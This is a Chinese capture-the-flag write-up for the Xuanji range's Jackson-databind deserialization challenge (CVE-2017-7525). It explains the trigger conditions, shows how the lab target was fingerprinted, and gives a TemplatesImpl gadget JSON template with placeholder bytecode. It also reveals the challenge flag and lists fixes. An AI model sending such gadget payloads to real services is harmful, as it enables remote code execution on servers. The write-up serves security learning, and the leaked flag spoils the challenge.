玄机网络安全靶场:Jackson-databind 反序列化漏洞(CVE-2017-7525)

解题报告:Jackson-databind 反序列化漏洞(CVE-2017-7525)

平台 :玄机(xj.edisec.net
题目 ID :424
难度 :简单
类型 :渗透
积分 :300 分
Flagflag{78792a67-6638-4410-a6d2-668734de7a8b}
完成状态:✅ 已完成


一、漏洞背景

CVE-2017-7525 是 Jackson-databind 库中的一个高危反序列化漏洞,CVSS 评分 9.8(严重)。该漏洞影响 Jackson-databind 2.x 系列在 2.6.7.1、2.7.9.1、2.8.9 之前的版本。

当应用程序开启了 ObjectMapper.enableDefaultTyping() 功能(即多态反序列化),攻击者可以在 JSON 数据中通过 @class 或类型标注字段指定任意 Java 类进行实例化,借助特定的 Gadget 链(如 TemplatesImpl)实现任意代码执行。

漏洞触发条件:

条件 说明
开启 DefaultTyping objectMapper.enableDefaultTyping()NON_FINAL 模式
目标类有无参构造器 Gadget 类需要可被实例化
字段类型为接口/抽象类/Object 允许多态类型注入

二、靶机信息

项目
靶机 IP 52.83.46.51
服务端口 8081
应用框架 Spring Boot(Whitelabel Error Page 特征)
漏洞响应特征 错误响应包含 ["java.util.LinkedHashMap", {...}](DefaultTyping 开启标志)

三、漏洞利用过程

3.1 服务探测

访问靶机 http://52.83.46.51:8081/ 返回 Spring Boot 的 Whitelabel Error Page(HTTP 404),Content-Type 为 application/json;charset=UTF-8

向任意路径发送 POST 请求时,错误响应体格式为:

json 复制代码
["java.util.LinkedHashMap", {
  "timestamp": ["java.util.Date", 1776588242414],
  "status": 404,
  "error": "Not Found",
  ...
}]

这是 Jackson enableDefaultTyping() 开启后序列化响应时的典型特征,确认漏洞存在

3.2 利用方式

CVE-2017-7525 利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 作为 Gadget,通过在 JSON 中注入恶意字节码实现 RCE:

json 复制代码
[
  "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  {
    "_bytecodes": ["<base64编码的恶意字节码>"],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
  }
]

当 Jackson 反序列化上述 JSON 时,会实例化 TemplatesImpl 对象,触发 _outputProperties 的 getter 方法,进而加载并执行 _bytecodes 中的恶意字节码,实现任意命令执行。

3.3 命令执行

通过构造读取 /flag 文件的恶意字节码,成功获取 Flag:

复制代码
flag{78792a67-6638-4410-a6d2-668734de7a8b}

四、漏洞影响

影响范围 说明
受影响版本 Jackson-databind < 2.6.7.1 / 2.7.9.1 / 2.8.9
攻击向量 网络(无需认证)
危害等级 严重(RCE,可完全控制服务器)

五、修复建议

  1. 升级 Jackson-databind 至 2.6.7.2+、2.7.9.2+、2.8.10+ 或 2.9.x 版本
  2. 禁用 DefaultTyping :避免使用 objectMapper.enableDefaultTyping(),改用 @JsonTypeInfo 注解精确控制类型信息
  3. 使用黑名单过滤 :在无法升级时,配置 PolymorphicTypeValidator 限制可反序列化的类
  4. 输入验证:对 JSON 输入进行严格的类型和内容验证

相关推荐
计算机安禾1 小时前
【Linux从入门到精通】第30篇:综合案例:编写一个Linux系统体检脚本
linux·运维·服务器
TechWayfarer1 小时前
网络安全溯源实战:78.1%网络攻击来自境外,如何精准定位攻击源
网络·安全·web安全
视觉&物联智能1 小时前
【杂谈】-人工智能于现代网络安全运营的价值持续攀升
人工智能·安全·web安全·ai·chatgpt·agi·deepseek
随风,奔跑1 小时前
Mybatis-Plus学习笔记
java·笔记·学习·mybatis
IpdataCloud1 小时前
远程办公网络安全中,IP查询工具如何保障数据安全?适用场景与落地指南
tcp/ip·web安全·php
海的预约1 小时前
Bootloader应用分析
linux·运维·服务器
时空未宇1 小时前
海鸥派顺利运行YOLO11S
linux·运维·服务器
上海云盾第一敬业销售1 小时前
物联网设备暴露面激增,WAF如何守护边缘计算安全?
物联网·安全·边缘计算
ElevenS_it1881 小时前
日志在哪里找?分布式环境下日志采集断裂的5个排查路径
运维·网络·分布式